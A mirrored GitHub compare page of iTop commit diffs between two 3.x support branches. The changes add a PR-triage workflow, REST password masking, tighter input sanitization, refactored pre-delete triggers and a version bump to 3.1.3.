mirror of
https://github.com/Combodo/iTop.git
synced 2026-02-14 07:54:10 +01:00
Compare commits
90 Commits
support/3.
...
support/3.
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
056dce4d78 | ||
|
|
063bb9680e | ||
|
|
1142bf327c | ||
|
|
278496eaf6 | ||
|
|
77ba0b398f | ||
|
|
04ca7bf603 | ||
|
|
8f8ac46f55 | ||
|
|
07b904ee1b | ||
|
|
be8d348b25 | ||
|
|
6c7a98fe3d | ||
|
|
ec2203229b | ||
|
|
da4457f5b4 | ||
|
|
97848cea4f | ||
|
|
94d6eca0c1 | ||
|
|
355da8ec0a | ||
|
|
5f006c45db | ||
|
|
46aaeb4301 | ||
|
|
affed69999 | ||
|
|
64a216e0f6 | ||
|
|
d5754fc568 | ||
|
|
ccb1ca9d79 | ||
|
|
44290db312 | ||
|
|
025af923ea | ||
|
|
858b12abaa | ||
|
|
a7bc4bd411 | ||
|
|
a07f66c061 | ||
|
|
c49ceae75e | ||
|
|
4da975cb64 | ||
|
|
8980f627e9 | ||
|
|
ec61b52238 | ||
|
|
072596a53b | ||
|
|
160bfd714b | ||
|
|
1c5cb1547f | ||
|
|
8d58372074 | ||
|
|
5780f26817 | ||
|
|
343f3286b8 | ||
|
|
37fc1a5723 | ||
|
|
1fa50f695d | ||
|
|
692cf4f635 | ||
|
|
95aa444ee6 | ||
|
|
f5de808c7c | ||
|
|
cbb4281a37 | ||
|
|
06dcae1dd1 | ||
|
|
e03033ce52 | ||
|
|
c70d62a51e | ||
|
|
0d5ff261fe | ||
|
|
374b35f78a | ||
|
|
9371bc6d7b | ||
|
|
58e964fb8c | ||
|
|
e8ecc85828 | ||
|
|
04bd8cc5ce | ||
|
|
88756a443a | ||
|
|
052e2a1a42 | ||
|
|
eb1ecff7d8 | ||
|
|
8141723869 | ||
|
|
8cb701bda3 | ||
|
|
1b29746806 | ||
|
|
fb9c317256 | ||
|
|
8c704951e1 | ||
|
|
24c23628d6 | ||
|
|
141c22ff67 | ||
|
|
1e3c425e81 | ||
|
|
b2e3fb6354 | ||
|
|
45ce68e16e | ||
|
|
1aef576403 | ||
|
|
bfd9be8280 | ||
|
|
96e1388dde | ||
|
|
86b48b8980 | ||
|
|
69c8791fc5 | ||
|
|
5fd8678a3a | ||
|
|
86df9ac035 | ||
|
|
3f997b416f | ||
|
|
cceb6809e7 | ||
|
|
48b559472e | ||
|
|
cddc452693 | ||
|
|
0904a21e3f | ||
|
|
66230199f8 | ||
|
|
1f1a2b660f | ||
|
|
4f36369ea1 | ||
|
|
33a906f11a | ||
|
|
82d11eeb47 | ||
|
|
b8bf66031b | ||
|
|
2596a150bf | ||
|
|
142d6c8993 | ||
|
|
d70e5dff45 | ||
|
|
c4fc0ed982 | ||
|
|
320922a13d | ||
|
|
f96d28a0a8 | ||
|
|
d3b9965283 | ||
|
|
f03d731b1d |
43
.github/workflows/action.yml
vendored
Normal file
43
.github/workflows/action.yml
vendored
Normal file
@@ -0,0 +1,43 @@
|
||||
name: Add PRs to Combodo PRs Dashboard
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types:
|
||||
- opened
|
||||
|
||||
jobs:
|
||||
add-to-project:
|
||||
name: Add PR to Combodo Project
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Check if author is a member of the organization
|
||||
id: check-membership
|
||||
run: |
|
||||
ORG="Combodo"
|
||||
AUTHOR=$(jq -r .pull_request.user.login "$GITHUB_EVENT_PATH")
|
||||
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" -H "Authorization: token ${{ secrets.PR_AUTOMATICALLY_ADD_TO_PROJECT }}" \
|
||||
"https://api.github.com/orgs/$ORG/members/$AUTHOR")
|
||||
if [ "$RESPONSE" == "404" ]; then
|
||||
echo "project_url=https://github.com/orgs/Combodo/projects/5" >> $GITHUB_ENV
|
||||
echo "is_member=false" >> $GITHUB_ENV
|
||||
else
|
||||
echo "project_url=https://github.com/orgs/Combodo/projects/4" >> $GITHUB_ENV
|
||||
echo "is_member=true" >> $GITHUB_ENV
|
||||
|
||||
fi
|
||||
|
||||
- name: Add internal tag if member
|
||||
if: env.is_member == 'true'
|
||||
run: |
|
||||
curl -X POST -H "Authorization: token ${{ secrets.PR_AUTOMATICALLY_ADD_TO_PROJECT }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/repos/Combodo/iTop/issues/${{ github.event.pull_request.number }}/labels \
|
||||
-d '{"labels":["internal"]}'
|
||||
env:
|
||||
is_member: ${{ env.is_member }}
|
||||
|
||||
- name: Add PR to the appropriate project
|
||||
uses: actions/add-to-project@v1.0.2
|
||||
with:
|
||||
project-url: ${{ env.project_url }}
|
||||
github-token: ${{ secrets.PR_AUTOMATICALLY_ADD_TO_PROJECT }}
|
||||
@@ -1715,6 +1715,11 @@ interface iRestServiceProvider
|
||||
public function ExecOperation($sVersion, $sVerb, $aParams);
|
||||
}
|
||||
|
||||
interface iRestInputSanitizer
|
||||
{
|
||||
public function SanitizeJsonInput(string $sJsonInput): string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Minimal REST response structure. Derive this structure to add response data and error codes.
|
||||
*
|
||||
@@ -1806,6 +1811,14 @@ class RestResult
|
||||
* @api
|
||||
*/
|
||||
public $message;
|
||||
|
||||
/**
|
||||
* Sanitize the content of this result to hide sensitive information
|
||||
*/
|
||||
public function SanitizeContent()
|
||||
{
|
||||
// The default implementation does nothing
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -1115,7 +1115,9 @@ HTML
|
||||
|
||||
// Note: DisplayBareHeader is called before adding $oObjectDetails to the page, so it can inject HTML before it through $oPage.
|
||||
/** @var \iTopWebPage $oPage */
|
||||
$oKPI = new ExecutionKPI();
|
||||
$aHeadersBlocks = $this->DisplayBareHeader($oPage, $bEditMode);
|
||||
$oKPI->ComputeStatsForExtension($this, 'DisplayBareHeader');
|
||||
if (false === empty($aHeadersBlocks['subtitle'])) {
|
||||
$oObjectDetails->AddSubTitleBlocks($aHeadersBlocks['subtitle']);
|
||||
}
|
||||
@@ -1128,8 +1130,12 @@ HTML
|
||||
$oPage->AddTabContainer(OBJECT_PROPERTIES_TAB, '', $oObjectDetails);
|
||||
$oPage->SetCurrentTabContainer(OBJECT_PROPERTIES_TAB);
|
||||
$oPage->SetCurrentTab('UI:PropertiesTab');
|
||||
$oKPI = new ExecutionKPI();
|
||||
$this->DisplayBareProperties($oPage, $bEditMode);
|
||||
$oKPI->ComputeStatsForExtension($this, 'DisplayBareProperties');
|
||||
$oKPI = new ExecutionKPI();
|
||||
$this->DisplayBareRelations($oPage, $bEditMode);
|
||||
$oKPI->ComputeStatsForExtension($this, 'DisplayBareRelations');
|
||||
|
||||
|
||||
// Note: Adding the JS snippet which enables the image upload should have been done directly by the ActivityPanel which would have kept the independance principle
|
||||
@@ -4583,6 +4589,8 @@ HTML;
|
||||
/** @var \iApplicationObjectExtension $oExtensionInstance */
|
||||
foreach(MetaModel::EnumPlugins('iApplicationObjectExtension') as $oExtensionInstance)
|
||||
{
|
||||
$sExtensionClass = get_class($oExtensionInstance);
|
||||
$this->LogCRUDDebug(__METHOD__, "Calling $sExtensionClass::OnDBInsert()");
|
||||
$oKPI = new ExecutionKPI();
|
||||
$oExtensionInstance->OnDBInsert($oNewObj, self::GetCurrentChange());
|
||||
$oKPI->ComputeStatsForExtension($oExtensionInstance, 'OnDBInsert');
|
||||
@@ -4664,7 +4672,22 @@ HTML;
|
||||
return $oDeletionPlan;
|
||||
}
|
||||
|
||||
protected function PostDeleteActions(): void
|
||||
final protected function PreDeleteActions(): void
|
||||
{
|
||||
/** @var \iApplicationObjectExtension $oExtensionInstance */
|
||||
foreach(MetaModel::EnumPlugins('iApplicationObjectExtension') as $oExtensionInstance)
|
||||
{
|
||||
$sExtensionClass = get_class($oExtensionInstance);
|
||||
$this->LogCRUDDebug(__METHOD__, "Calling $sExtensionClass::OnDBDelete()");
|
||||
$oKPI = new ExecutionKPI();
|
||||
$oExtensionInstance->OnDBDelete($this, self::GetCurrentChange());
|
||||
$oKPI->ComputeStatsForExtension($oExtensionInstance, 'OnDBDelete');
|
||||
}
|
||||
|
||||
parent::PreDeleteActions();
|
||||
}
|
||||
|
||||
final protected function PostDeleteActions(): void
|
||||
{
|
||||
parent::PostDeleteActions();
|
||||
}
|
||||
@@ -4678,6 +4701,8 @@ HTML;
|
||||
/** @var \iApplicationObjectExtension $oExtensionInstance */
|
||||
foreach(MetaModel::EnumPlugins('iApplicationObjectExtension') as $oExtensionInstance)
|
||||
{
|
||||
$sExtensionClass = get_class($oExtensionInstance);
|
||||
$this->LogCRUDDebug(__METHOD__, "Calling $sExtensionClass::OnDBDelete()");
|
||||
$oKPI = new ExecutionKPI();
|
||||
$oExtensionInstance->OnDBDelete($this, self::GetCurrentChange());
|
||||
$oKPI->ComputeStatsForExtension($oExtensionInstance, 'OnDBDelete');
|
||||
@@ -4699,6 +4724,7 @@ HTML;
|
||||
foreach(MetaModel::EnumPlugins('iApplicationObjectExtension') as $oExtensionInstance)
|
||||
{
|
||||
$sExtensionClass = get_class($oExtensionInstance);
|
||||
$this->LogCRUDDebug(__METHOD__, "Calling $sExtensionClass::OnIsModified()");
|
||||
$oKPI = new ExecutionKPI();
|
||||
$bIsModified = $oExtensionInstance->OnIsModified($this);
|
||||
$oKPI->ComputeStatsForExtension($oExtensionInstance, 'OnIsModified');
|
||||
@@ -4758,6 +4784,8 @@ HTML;
|
||||
/** @var \iApplicationObjectExtension $oExtensionInstance */
|
||||
foreach(MetaModel::EnumPlugins('iApplicationObjectExtension') as $oExtensionInstance)
|
||||
{
|
||||
$sExtensionClass = get_class($oExtensionInstance);
|
||||
$this->LogCRUDDebug(__METHOD__, "Calling $sExtensionClass::OnCheckToWrite()");
|
||||
$oKPI = new ExecutionKPI();
|
||||
$aNewIssues = $oExtensionInstance->OnCheckToWrite($this);
|
||||
$oKPI->ComputeStatsForExtension($oExtensionInstance, 'OnCheckToWrite');
|
||||
@@ -4808,6 +4836,8 @@ HTML;
|
||||
/** @var \iApplicationObjectExtension $oExtensionInstance */
|
||||
foreach(MetaModel::EnumPlugins('iApplicationObjectExtension') as $oExtensionInstance)
|
||||
{
|
||||
$sExtensionClass = get_class($oExtensionInstance);
|
||||
$this->LogCRUDDebug(__METHOD__, "Calling $sExtensionClass::OnCheckToDelete()");
|
||||
$oKPI = new ExecutionKPI();
|
||||
$aNewIssues = $oExtensionInstance->OnCheckToDelete($this);
|
||||
$oKPI->ComputeStatsForExtension($oExtensionInstance, 'OnCheckToDelete');
|
||||
@@ -6076,7 +6106,9 @@ JS
|
||||
// We want to avoid launching the listener twice, first here, and secondly after saving the Ticket in the listener
|
||||
// By disabling the event to be fired, we can remove the current object from the attribute !
|
||||
$oObject = MetaModel::GetObject($sClass, $sId, false);
|
||||
self::FireEventDbLinksChangedForObject($oObject);
|
||||
if (!is_null($oObject)) {
|
||||
self::FireEventDbLinksChangedForObject($oObject);
|
||||
}
|
||||
self::RemoveObjectAwaitingEventDbLinksChanged($sClass, $sId);
|
||||
}
|
||||
|
||||
@@ -6084,13 +6116,11 @@ JS
|
||||
{
|
||||
self::SetEventDBLinksChangedBlocked(true);
|
||||
// N°6408 The object can have been deleted
|
||||
if (!is_null($oObject)) {
|
||||
$oObject->FireEvent(EVENT_DB_LINKS_CHANGED);
|
||||
$oObject->FireEvent(EVENT_DB_LINKS_CHANGED);
|
||||
|
||||
// Update the object if needed
|
||||
if (count($oObject->ListChanges()) !== 0) {
|
||||
$oObject->DBUpdate();
|
||||
}
|
||||
// Update the object if needed
|
||||
if (count($oObject->ListChanges()) !== 0) {
|
||||
$oObject->DBUpdate();
|
||||
}
|
||||
cmdbAbstractObject::SetEventDBLinksChangedBlocked(false);
|
||||
}
|
||||
|
||||
@@ -1264,12 +1264,12 @@ EOF
|
||||
$sOkButtonLabel = Dict::S('UI:Button:Save');
|
||||
$sCancelButtonLabel = Dict::S('UI:Button:Cancel');
|
||||
|
||||
$sId = utils::HtmlEntities($this->sId);
|
||||
$sLayoutClass = utils::HtmlEntities($this->sLayoutClass);
|
||||
$sId = json_encode($this->sId);
|
||||
$sLayoutClass = json_encode($this->sLayoutClass);
|
||||
$sAutoReload = $this->bAutoReload ? 'true' : 'false';
|
||||
$sAutoReloadSec = (string) $this->iAutoReloadSec;
|
||||
$sTitle = utils::HtmlEntities($this->sTitle);
|
||||
$sFile = utils::HtmlEntities($this->GetDefinitionFile());
|
||||
$sTitle = json_encode($this->sTitle);
|
||||
$sFile = json_encode($this->GetDefinitionFile());
|
||||
$sUrl = utils::GetAbsoluteUrlAppRoot().'pages/ajax.render.php';
|
||||
$sReloadURL = $this->GetReloadURL();
|
||||
|
||||
@@ -1325,15 +1325,15 @@ $('#dashboard_editor').dialog({
|
||||
});
|
||||
|
||||
$('#dashboard_editor .ui-layout-center').runtimedashboard({
|
||||
dashboard_id: '$sId',
|
||||
layout_class: '$sLayoutClass',
|
||||
title: '$sTitle',
|
||||
dashboard_id: $sId,
|
||||
layout_class: $sLayoutClass,
|
||||
title: $sTitle,
|
||||
auto_reload: $sAutoReload,
|
||||
auto_reload_sec: $sAutoReloadSec,
|
||||
submit_to: '$sUrl',
|
||||
submit_parameters: {operation: 'save_dashboard', file: '$sFile', extra_params: $sJSExtraParams, reload_url: '$sReloadURL'},
|
||||
submit_parameters: {operation: 'save_dashboard', file: $sFile, extra_params: $sJSExtraParams, reload_url: '$sReloadURL'},
|
||||
render_to: '$sUrl',
|
||||
render_parameters: {operation: 'render_dashboard', file: '$sFile', extra_params: $sJSExtraParams, reload_url: '$sReloadURL'},
|
||||
render_parameters: {operation: 'render_dashboard', file: $sFile, extra_params: $sJSExtraParams, reload_url: '$sReloadURL'},
|
||||
new_dashlet_parameters: {operation: 'new_dashlet'}
|
||||
});
|
||||
|
||||
|
||||
@@ -704,7 +704,7 @@ class DisplayBlock
|
||||
if ($bDoSearch)
|
||||
{
|
||||
// Keep the table_id identifying this table if we're performing a search
|
||||
$sTableId = utils::ReadParam('_table_id_', null, false, 'raw_data');
|
||||
$sTableId = utils::ReadParam('_table_id_', null, false, utils::ENUM_SANITIZATION_FILTER_ELEMENT_IDENTIFIER);
|
||||
if ($sTableId != null)
|
||||
{
|
||||
$aExtraParams['table_id'] = $sTableId;
|
||||
@@ -1684,19 +1684,16 @@ JS
|
||||
$aRes = CMDBSource::QueryToArray($sSql);
|
||||
$oContext = new ApplicationContext();
|
||||
$sContextParam = $oContext->GetForLink();
|
||||
/** @var AttributeDefinition $oGroupByAttDef */
|
||||
$oGroupByAttDef = $aGroupBy["grouped_by_1"]->GetAttDef();
|
||||
|
||||
$iTotalCount = 0;
|
||||
$aURLs = array();
|
||||
|
||||
foreach ($aRes as $iRow => $aRow) {
|
||||
$sValue = $aRow['grouped_by_1'];
|
||||
$sPlainTextValue = $oGroupByAttDef->GetValueLabel($sValue);
|
||||
$sHtmlValue = utils::EscapeHtml($sPlainTextValue);
|
||||
$sHtmlValue = $oGroupByExp->MakeValueLabel($this->m_oFilter, $sValue, $sValue);
|
||||
$iTotalCount += $aRow['_itop_count_'];
|
||||
$aValues[] = array(
|
||||
'label' => $sPlainTextValue,
|
||||
'label' => html_entity_decode(strip_tags($sHtmlValue), ENT_QUOTES, 'UTF-8'),
|
||||
'label_html' => $sHtmlValue,
|
||||
'value' => (float)$aRow[$sFctVar],
|
||||
);
|
||||
|
||||
@@ -60,6 +60,24 @@ class CoreCannotSaveObjectException extends CoreException
|
||||
return $sContent;
|
||||
}
|
||||
|
||||
public function getTextMessage()
|
||||
{
|
||||
$sTitle = Dict::S('UI:Error:SaveFailed');
|
||||
$sContent = utils::HtmlEntities($sTitle);
|
||||
|
||||
if (count($this->aIssues) == 1) {
|
||||
$sIssue = reset($this->aIssues);
|
||||
$sContent .= utils::HtmlEntities($sIssue);
|
||||
} else {
|
||||
foreach ($this->aIssues as $sError) {
|
||||
$sContent .= " ".utils::HtmlEntities($sError).", ";
|
||||
}
|
||||
}
|
||||
|
||||
return $sContent;
|
||||
}
|
||||
|
||||
|
||||
public function getIssues()
|
||||
{
|
||||
return $this->aIssues;
|
||||
|
||||
@@ -109,6 +109,11 @@ class utils
|
||||
* @since 2.7.10 3.0.0
|
||||
*/
|
||||
public const ENUM_SANITIZATION_FILTER_ELEMENT_IDENTIFIER = 'element_identifier';
|
||||
/**
|
||||
* @var string For XML / HTML node id/class selector
|
||||
* @since 3.1.2 3.2.1
|
||||
*/
|
||||
public const ENUM_SANITIZATION_FILTER_ELEMENT_SELECTOR = 'element_selector';
|
||||
/**
|
||||
* @var string For variables names
|
||||
* @since 3.0.0
|
||||
@@ -489,8 +494,17 @@ class utils
|
||||
}
|
||||
break;
|
||||
|
||||
// For XML / HTML node identifiers
|
||||
case static::ENUM_SANITIZATION_FILTER_ELEMENT_IDENTIFIER:
|
||||
$retValue = preg_replace('/[^a-zA-Z0-9_-]/', '', $value);
|
||||
$retValue = filter_var($retValue, FILTER_VALIDATE_REGEXP,
|
||||
['options' => ['regexp' => '/^[A-Za-z0-9][A-Za-z0-9_-]*$/']]);
|
||||
break;
|
||||
|
||||
// For XML / HTML node id selector
|
||||
case static::ENUM_SANITIZATION_FILTER_ELEMENT_SELECTOR:
|
||||
$retValue = filter_var($value, FILTER_VALIDATE_REGEXP,
|
||||
['options' => ['regexp' => '/^[#\.][A-Za-z0-9][A-Za-z0-9_-]*$/']]);
|
||||
break;
|
||||
|
||||
case static::ENUM_SANITIZATION_FILTER_VARIABLE_NAME:
|
||||
|
||||
@@ -23,7 +23,7 @@ define('ITOP_DESIGN_LATEST_VERSION', '3.1');
|
||||
* @used-by utils::GetItopVersionWikiSyntax()
|
||||
* @used-by iTopModulesPhpVersionIntegrationTest
|
||||
*/
|
||||
define('ITOP_CORE_VERSION', '3.1.1');
|
||||
define('ITOP_CORE_VERSION', '3.1.3');
|
||||
|
||||
/**
|
||||
* @var string
|
||||
|
||||
@@ -136,7 +136,7 @@ abstract class AttributeDefinition
|
||||
|
||||
protected $aCSSClasses;
|
||||
|
||||
public function GetType()
|
||||
public function GetType()
|
||||
{
|
||||
return Dict::S('Core:'.get_class($this));
|
||||
}
|
||||
@@ -4164,7 +4164,7 @@ class AttributeFinalClass extends AttributeString
|
||||
*/
|
||||
class AttributePassword extends AttributeString implements iAttributeNoGroupBy
|
||||
{
|
||||
const SEARCH_WIDGET_TYPE = self::SEARCH_WIDGET_TYPE_RAW;
|
||||
const SEARCH_WIDGET_TYPE = self::SEARCH_WIDGET_TYPE_RAW;
|
||||
|
||||
/**
|
||||
* Useless constructor, but if not present PHP 7.4.0/7.4.1 is crashing :( (N°2329)
|
||||
@@ -4241,7 +4241,7 @@ class AttributePassword extends AttributeString implements iAttributeNoGroupBy
|
||||
*/
|
||||
class AttributeEncryptedString extends AttributeString implements iAttributeNoGroupBy
|
||||
{
|
||||
const SEARCH_WIDGET_TYPE = self::SEARCH_WIDGET_TYPE_RAW;
|
||||
const SEARCH_WIDGET_TYPE = self::SEARCH_WIDGET_TYPE_RAW;
|
||||
|
||||
static $sKey = null; // Encryption key used for all encrypted fields
|
||||
static $sLibrary = null; // Encryption library used for all encrypted fields
|
||||
@@ -9973,7 +9973,7 @@ class AttributeSubItem extends AttributeDefinition
|
||||
*/
|
||||
class AttributeOneWayPassword extends AttributeDefinition implements iAttributeNoGroupBy
|
||||
{
|
||||
const SEARCH_WIDGET_TYPE = self::SEARCH_WIDGET_TYPE_RAW;
|
||||
const SEARCH_WIDGET_TYPE = self::SEARCH_WIDGET_TYPE_RAW;
|
||||
|
||||
/**
|
||||
* Useless constructor, but if not present PHP 7.4.0/7.4.1 is crashing :( (N°2329)
|
||||
|
||||
@@ -1169,8 +1169,8 @@ class CMDBSource
|
||||
*/
|
||||
public static function IsSameFieldTypes($sItopGeneratedFieldType, $sDbFieldType)
|
||||
{
|
||||
list($sItopFieldDataType, $sItopFieldTypeOptions, $sItopFieldOtherOptions) = static::GetFieldDataTypeAndOptions($sItopGeneratedFieldType);
|
||||
list($sDbFieldDataType, $sDbFieldTypeOptions, $sDbFieldOtherOptions) = static::GetFieldDataTypeAndOptions($sDbFieldType);
|
||||
[$sItopFieldDataType, $sItopFieldTypeOptions, $sItopFieldOtherOptions] = static::GetFieldDataTypeAndOptions($sItopGeneratedFieldType);
|
||||
[$sDbFieldDataType, $sDbFieldTypeOptions, $sDbFieldOtherOptions] = static::GetFieldDataTypeAndOptions($sDbFieldType);
|
||||
|
||||
if (strcasecmp($sItopFieldDataType, $sDbFieldDataType) !== 0)
|
||||
{
|
||||
@@ -1603,7 +1603,19 @@ class CMDBSource
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
public static function GetClusterNb()
|
||||
{
|
||||
$result = 0;
|
||||
$sSql = "SHOW STATUS LIKE 'wsrep_cluster_size';";
|
||||
$aRows = self::QueryToArray($sSql);
|
||||
if (count($aRows) > 0)
|
||||
{
|
||||
$result = $aRows[0]['Value'];
|
||||
}
|
||||
return intval($result);
|
||||
}
|
||||
|
||||
/**
|
||||
* @see https://dev.mysql.com/doc/refman/5.7/en/charset-database.html
|
||||
* @return string query to upgrade database charset and collation if needed, null if not
|
||||
* @throws \MySQLException
|
||||
|
||||
@@ -766,6 +766,42 @@ abstract class DBObject implements iDisplay
|
||||
$this->Set($sAttCode, $sValue);
|
||||
}
|
||||
|
||||
/**
|
||||
* @throws \CoreException
|
||||
* @throws \CoreUnexpectedValue
|
||||
* @throws \MySQLException
|
||||
* @throws \OQLException
|
||||
* @throws \ReflectionException
|
||||
*/
|
||||
protected function PreDeleteActions(): void
|
||||
{
|
||||
$this->SetReadOnly('No modification allowed before delete');
|
||||
$this->FireEventAboutToDelete();
|
||||
$oKPI = new ExecutionKPI();
|
||||
$this->OnDelete();
|
||||
$oKPI->ComputeStatsForExtension($this, 'OnDelete');
|
||||
|
||||
// Activate any existing trigger
|
||||
$sClass = get_class($this);
|
||||
$aParams = array('class_list' => MetaModel::EnumParentClasses($sClass, ENUM_PARENT_CLASSES_ALL));
|
||||
$oSet = new DBObjectSet(DBObjectSearch::FromOQL('SELECT TriggerOnObjectDelete AS t WHERE t.target_class IN (:class_list)'), array(),
|
||||
$aParams);
|
||||
while ($oTrigger = $oSet->Fetch()) {
|
||||
/** @var \TriggerOnObjectDelete $oTrigger */
|
||||
try {
|
||||
$oKPI = new ExecutionKPI();
|
||||
$oTrigger->DoActivate($this->ToArgs('this'));
|
||||
}
|
||||
catch (Exception $e) {
|
||||
$oTrigger->LogException($e, $this);
|
||||
utils::EnrichRaisedException($oTrigger, $e);
|
||||
}
|
||||
finally {
|
||||
$oKPI->ComputeStatsForExtension($this, 'TriggerOnObjectDelete');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return void
|
||||
* @throws \ReflectionException
|
||||
@@ -4090,16 +4126,17 @@ abstract class DBObject implements iDisplay
|
||||
CMDBSource::DeleteFrom($sDeleteSQL);
|
||||
}
|
||||
|
||||
/**
|
||||
* @internal
|
||||
*
|
||||
* @throws ArchivedObjectException
|
||||
* @throws CoreException
|
||||
* @throws CoreUnexpectedValue
|
||||
* @throws MySQLException
|
||||
* @throws MySQLHasGoneAwayException
|
||||
* @throws OQLException
|
||||
*/
|
||||
/**
|
||||
* @internal
|
||||
*
|
||||
* @throws \CoreException
|
||||
* @throws \CoreUnexpectedValue
|
||||
* @throws \MySQLException
|
||||
* @throws \MySQLHasGoneAwayException
|
||||
* @throws \OQLException
|
||||
* @throws \Random\RandomException
|
||||
* @throws \ReflectionException
|
||||
*/
|
||||
protected function DBDeleteSingleObject()
|
||||
{
|
||||
$this->LogCRUDEnter(__METHOD__);
|
||||
@@ -4110,29 +4147,7 @@ abstract class DBObject implements iDisplay
|
||||
return;
|
||||
}
|
||||
|
||||
$this->SetReadOnly("No modification allowed before delete");
|
||||
$this->FireEventAboutToDelete();
|
||||
$oKPI = new ExecutionKPI();
|
||||
$this->OnDelete();
|
||||
$oKPI->ComputeStatsForExtension($this, 'OnDelete');
|
||||
|
||||
// Activate any existing trigger
|
||||
$sClass = get_class($this);
|
||||
$aParams = array('class_list' => MetaModel::EnumParentClasses($sClass, ENUM_PARENT_CLASSES_ALL));
|
||||
$oSet = new DBObjectSet(DBObjectSearch::FromOQL("SELECT TriggerOnObjectDelete AS t WHERE t.target_class IN (:class_list)"), array(),
|
||||
$aParams);
|
||||
while ($oTrigger = $oSet->Fetch())
|
||||
{
|
||||
/** @var \TriggerOnObjectDelete $oTrigger */
|
||||
try
|
||||
{
|
||||
$oTrigger->DoActivate($this->ToArgs('this'));
|
||||
}
|
||||
catch(Exception $e) {
|
||||
$oTrigger->LogException($e, $this);
|
||||
utils::EnrichRaisedException($oTrigger, $e);
|
||||
}
|
||||
}
|
||||
$this->PreDeleteActions();
|
||||
|
||||
$this->RecordObjDeletion($this->m_iKey); // May cause a reload for storing history information
|
||||
|
||||
|
||||
@@ -145,7 +145,7 @@ class EMail implements iEMail
|
||||
*/
|
||||
public function SetInReplyTo(string $sMessageId)
|
||||
{
|
||||
$this->AddToHeader('In-Reply-To', $sMessageId);
|
||||
$this->oMailer->SetInReplyTo($sMessageId);
|
||||
}
|
||||
|
||||
public function SetBody($sBody, $sMimeType = 'text/html', $sCustomStyles = null)
|
||||
|
||||
@@ -6852,6 +6852,9 @@ abstract class MetaModel
|
||||
/**
|
||||
* Instantiate an object already persisted to the Database.
|
||||
*
|
||||
* Note that LinkedSet attributes are not loaded.
|
||||
* DBObject::Reload() will be called when getting a LinkedSet attribute
|
||||
*
|
||||
* @api
|
||||
* @see MetaModel::GetObjectWithArchive to get object even if it's archived
|
||||
* @see utils::PushArchiveMode() to enable search on archived objects
|
||||
|
||||
@@ -44,6 +44,8 @@ class ObjectResult
|
||||
* @var string
|
||||
* @api
|
||||
*/
|
||||
use SanitizeTrait;
|
||||
|
||||
public $message;
|
||||
/**
|
||||
* @var mixed|null
|
||||
@@ -156,6 +158,19 @@ class ObjectResult
|
||||
{
|
||||
$this->fields[$sAttCode] = $this->MakeResultValue($oObject, $sAttCode, $bExtendedOutput);
|
||||
}
|
||||
|
||||
public function SanitizeContent()
|
||||
{
|
||||
foreach($this->fields as $sFieldAttCode => $fieldValue)
|
||||
{
|
||||
try {
|
||||
$oAttDef = MetaModel::GetAttributeDef($this->class, $sFieldAttCode);
|
||||
} catch (Exception $e) { // for special cases like ID
|
||||
continue;
|
||||
}
|
||||
$this->SanitizeFieldIfSensitive($this->fields, $sFieldAttCode, $fieldValue, $oAttDef);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -221,6 +236,16 @@ class RestResultWithObjects extends RestResult
|
||||
$sObjKey = get_class($oObject).'::'.$oObject->GetKey();
|
||||
$this->objects[$sObjKey] = $oObjRes;
|
||||
}
|
||||
|
||||
public function SanitizeContent()
|
||||
{
|
||||
parent::SanitizeContent();
|
||||
|
||||
foreach($this->objects as $sObjKey => $oObjRes)
|
||||
{
|
||||
$oObjRes->SanitizeContent();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -308,9 +333,10 @@ class RestDelete
|
||||
*
|
||||
* @package Core
|
||||
*/
|
||||
class CoreServices implements iRestServiceProvider
|
||||
class CoreServices implements iRestServiceProvider, iRestInputSanitizer
|
||||
{
|
||||
/**
|
||||
use SanitizeTrait;
|
||||
/**
|
||||
* Enumerate services delivered by this class
|
||||
*
|
||||
* @param string $sVersion The version (e.g. 1.0) supported by the services
|
||||
@@ -528,18 +554,18 @@ class CoreServices implements iRestServiceProvider
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!$bExtendedOutput && RestUtils::GetOptionalParam($aParams, 'output_fields', '*') != '*')
|
||||
if (!$bExtendedOutput && RestUtils::GetOptionalParam($aParams, 'output_fields', '*') != '*')
|
||||
{
|
||||
$aFields = $aShowFields[$sClass];
|
||||
//Id is not a valid attribute to optimize
|
||||
if (in_array('id', $aFields))
|
||||
if (in_array('id', $aFields))
|
||||
{
|
||||
unset($aFields[array_search('id', $aFields)]);
|
||||
}
|
||||
$aAttToLoad = array($oObjectSet->GetClassAlias() => $aFields);
|
||||
$oObjectSet->OptimizeColumnLoad($aAttToLoad);
|
||||
}
|
||||
|
||||
|
||||
while ($oObject = $oObjectSet->Fetch())
|
||||
{
|
||||
$oResult->AddObject(0, '', $oObject, $aShowFields, $bExtendedOutput);
|
||||
@@ -737,6 +763,33 @@ class CoreServices implements iRestServiceProvider
|
||||
return $oResult;
|
||||
}
|
||||
|
||||
public function SanitizeJsonInput(string $sJsonInput): string
|
||||
{
|
||||
$sSanitizedJsonInput = $sJsonInput;
|
||||
$aJsonData = json_decode($sSanitizedJsonInput, true);
|
||||
$sOperation = $aJsonData['operation'];
|
||||
|
||||
switch ($sOperation) {
|
||||
case 'core/check_credentials':
|
||||
if (isset($aJsonData['password'])) {
|
||||
$aJsonData['password'] = '*****';
|
||||
}
|
||||
break;
|
||||
case 'core/update':
|
||||
case 'core/create':
|
||||
default :
|
||||
$sClass = $aJsonData['class'];
|
||||
if (isset($aJsonData['fields'])) {
|
||||
foreach ($aJsonData['fields'] as $sFieldAttCode => $fieldValue) {
|
||||
$oAttDef = MetaModel::GetAttributeDef($sClass, $sFieldAttCode);
|
||||
$this->SanitizeFieldIfSensitive($aJsonData['fields'], $sFieldAttCode, $fieldValue, $oAttDef);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
return json_encode($aJsonData, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
|
||||
/**
|
||||
